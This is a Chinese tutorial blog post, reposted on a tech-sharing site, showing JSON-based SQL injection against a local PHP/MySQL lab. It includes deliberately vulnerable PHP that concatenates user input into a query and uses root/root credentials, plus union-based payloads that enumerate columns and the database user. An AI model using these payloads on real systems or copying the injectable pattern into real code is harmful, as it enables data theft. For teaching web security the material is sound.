标签:username password admin 数据库 json mysqli php 注入
环境
- phpstudy
- php服务端代码
- security数据库中的users表中的username,password字段
- 用户名admin
JSON服务端代码
大家实际测试中注意修改相关的数据库名、表名、字段名等
<?php
// php防止中文乱码
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON文档格式有误,请检查');
}
$username=$json->username;
//$password=$json->password;
// 建立mysql连接,root/root连接本地数据库
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}
// 要操作的数据库名,我的数据库是security
$mysqli->select_db('security');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
// 数据库编码格式
$mysqli->set_charset('utf-8');
// 从users表中查询username,password字段
$sql="SELECT username,password FROM users WHERE username='{$username}'";
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
}
// 释放资源
$result->free();
$mysqli->close();
}
?>
进行注入
1、按照特定的数据格式查询admin用户密码
json={"username":"admin"}
2、查看源代码,构造payload
代码中的sql语句是这个样子的,构造payload进行注入
3、判断当前数据库有多少列
2正常,3报错,判断当前数据库有2列
json={"username":"admin' order by 3#"}
4、注入带出来数据
json={"username":"admin' and 1=2 union select 1,2#"}
json={"username":"admin' and 1=2 union select user(),database()#"}
接下来就是注入操作了,在此不做后续注入...
参考博客
https://blog.csdn.net/a15803617402/article/details/82939202
标签:username,password,admin,数据库,json,mysqli,php,注入 来源: https://www.cnblogs.com/shley/p/14737017.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。